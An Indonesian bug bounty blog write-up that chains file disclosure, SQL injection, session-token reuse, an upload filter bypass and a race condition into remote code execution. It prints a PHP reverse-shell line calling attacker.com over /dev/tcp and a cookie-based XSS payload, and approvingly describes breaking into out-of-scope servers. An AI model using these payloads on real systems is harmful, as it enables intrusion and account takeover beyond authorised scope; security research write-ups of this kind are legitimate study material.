xhellc0de
xhellc0de /Hidup seperti Squidward/

File Disclosure to Remote Code Execution

"Bug Bounty" File Disclosure to Remote Code Execution

Pada saat melakukan Bug Bounty Hunting , saya menemukan celah Cookie Based XSS pada sebuah website. Cookie Based XSS secara tingkat risiko memiliki Level Rendah karena merupakan Self XSS. Rasanya sangat sayang sekali bila temuan tersebut dilaporkan dan hanya mendapat Severity Low yang dimana untuk severity tersebut tidak ada Bounty atau Point yang diberikan.

Scope pada Program ini sangatlah terbatas, namun diluar itu, domain dari website target memiliki banyak sekali subdomain. Yang pertama terpikirkan adalah, mencari kerentanan XSS pada subdomain target yang out of scope untuk men-trigger Cookie Based XSS di in-scope domain target, dengan begitu severity akan meningkat setidaknya menjadi High atau Medium.

I. Information Disclosure

Setelah melakukan pencarian selama beberapa waktu, tidak juga ditemukan subdomain yang memiliki kerentanan XSS. Hingga pada saat melakukan directory bruteforce pada salah satu subdomain, saya menemukan sebuah file yang menarik.

https://redacted.com/redacted/redacted/_notes/dwsync.xml

File dwsync.xml merupakan file yang di-generate oleh Dreamweaver. Dimana pada file tersebut, berisi informasi terkait file apa saja yang ada pada direktori website.

File dwsync.xml

II. SQL Injection

Secara default, untuk mengakses website tersebut memerlukan kredensial, dan kita tidak dapat membuat akun pada website tersebut. Seperti yang sudah dijelaskan diatas, melalui file dwsync.xml, kita dapat memperoleh informasi terkait file apa saja yang ada pada website target. Maka saya pun mencoba untuk mengakses salah satu file yang ada, sebagai contoh saya mencoba mengakses file redacted.php.

File redacted.php

Terlihat pada website tersebut muncul pesan error Undefined index: ver, yang artinya pada laman tersebut terdapat variabel ver yang belum didefinisikan. Untuk itu, saya pun merubah URL nya menjadi seperti berikut:

https://redacted.com/dir/redacted.php?ver=1

Dan tampilan laman pun berubah, namun hanya menampilkan angka 1

File redacted.php

Tidak tau apa maksud dari angka 1 tersebut, namun melihat adanya parameter di URL, maka tangan pun terasa gatal untuk menambahkan simbol ' pada parameter tersebut. Dan hasilnya …

File redacted.php

Sepertinya pesan error tersebut terlihat sangat familiar. Tanpa menunggu lama, saya pun langsung mencoba melakukan SQL Injection dengan bantuan SQLmap. Dan berikut adalah daftar database yang diperoleh:

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] redacted_db
[*] tmp

III. Authentication Bypass

Dari celah SQL Injection yang ditemukan, saya mencoba untuk meng-upload shell ke server target, namun hasilnya gagal. Maka terpaksa saya harus dapat login ke website menggunakan data yang ada pada database.

Setelah mencoba meng-ekstrak database redacted_db, ditemukan ada sebuah tabel bernama user_tbl. Pada tabel tersebut terdapat informasi terkait user yang ada pada website target. Namun sayangnya, password user tersebut di-hash menggunakan md5 dan ketika mencoba melakukan cracking, tidak ada satupun yang berhasil.

Tidak menyerah sampai situ, saya pun kembali mencari tabel-tabel yang mungkin dapat dimanfaatkan. Maka sampailah saya pada tabel bernama session_tbl. Pada tabel tersebut, hanya terdapat 3 kolom, yaitu id, user_id, dan session.

Darisitu saya pun menyadari bahwa tabel tersebut berisi session aktif dari user website tersebut. Maka saya pun mencari user dengan role level tertinggi pada tabel user_tbl, dan mencari session nya pada tabel session. Kemudian saya mencoba memasukan nilai session yang diperoleh dari database ke Cookie website dengan nama session. Dan saya pun berhasil login ke website tersebut.

IV. Unrestricted File Upload

Singkat cerita, setelah dapat login ke dalam website target, maka saya mencari celah lain yang dapat dimanfaatkan. Pada website tersebut terdapat sebuah fitur untuk melakukan Upload File. Tentu saja ini merupakan fitur yang wajib kita test.

File Upload

Saya pun mencoba meng-upload file dengan ekstensi .phtml, namun hasilnya file tersebut ditolak dan tidak dapat terupload.

Banned Extension

Namun saya menduga, filter tersebut hanya berjalan pada sisi klien. Artinya, ada potensi dapat dilakukan bypass dengan bantuan tools seperti Burpsuite. Maka saya mencoba melakukan Upload File kembali, kali ini dengan ekstensi .jpg lalu pada Burpsuite dilakukan intercept dan dirubah ekstensinya menjadi .phtml.

File Uploaded

Setelah menggunakan cara di atas, file pun berhasil di upload. Melihat response yang tampil, file tersebut tersimpan di AWS, bukan di website target.

https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml

V. Remote Code Execution

Melihat file yang diupload tersimpan di AWS, tidak banyak yang dapat dilakukan pada file tersebut, karena target kita adalah web server bukan server AWSnya. Maka saya pun mencoba memahami respon yang ditampilkan oleh server target.

/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235

Dari response diatas, saya berasumsi bahwa selain disimpan di AWS, ada terdapat kemungkinan file yang di upload disimpan pula di website target pada direktori redacted. Maka saya pun mencoba mengunjungi URL berikut:

https://redacted.com/redacted/redacted/info.phtml

Dan file tersebut tidak ditemukan.

File Not Found

Namun saya tetap berasumsi, tidak mungkin bila respon menampilkan direktori redacted bila tidak ada hubungannya dengan file yang kita upload. Bagaimana bila yang terjadi adalah, file yang kita upload, disimpan sementara pada direktori redacted, lalu setelah sekian waktu di lempar ke AWS sebagai tempat penyimpanannya.

Bila asumsi diatas benar, maka file kita akan berada di server selama sepersekian detik sebelum di upload ke AWS.

Untuk mengetesnya, saya menggunakan Burpsuite Intruder dan mencoba melakukan GET Request secara terus-menerus ke URL file yang ada pada direktori redacted tadi.

File Found

Dan benar saja, selama beberapa saat file tersebut berada pada server target (HTTP Code 200), dan tidak lama setelah itu file tersebut menghilang (HTTP Code 404) menandakan file nya sudah dipindahkan ke AWS.

Maka dengan melakukan hal yang sama, kita dapat meng-upload PHP Reverse Shell untuk memperoleh shell dari website target.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");

File Found

Dan akhirnya saya pun mendapat akses ke server target.

Hehe

Kembali ke tujuan awal, setelah mendapat akses shell, saya pun menaruh file HTML yang berisi javascript untuk men-trigger XSS pada website yang ada dalam scope Bounty.

Dengan kode HTML seperti berikut:

<script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%[email protected];path=/;domain=.redacted.com;";</script>

Kita dapat membuat cookie bernama evil pada domain redacted.com dengan nilai berisi payload XSS <img src=x onerror=alert(1)>. Sehingga ketika mengakses domain in-scope bounty tadi, cookie tersebut akan diload dan XSS pun ter-trigger.

XSS

Mendapatkan full akses server pada website out of scope untuk men-trigger XSS pada website in-scope, agak ironis memang. Tapi itulah Bug Hunting, sebisa mungkin kita harus dapat meyakinkan Program Owner bahwa celah yang kita temukan dapat di-eksploitasi dan memiliki dampak yang signifikan. Dan pada akhirnya, itu semua akan membawa manfaat bagi kita.

Dari website diatas, saya menemukan beberapa Cookie Based XSS dengan total nilai $5000.

English: https://medium.com/@mastomi/bug-bounty-exploiting-cookie-based-xss-by-finding-rce-a3e3e80041f3

comments powered by Disqus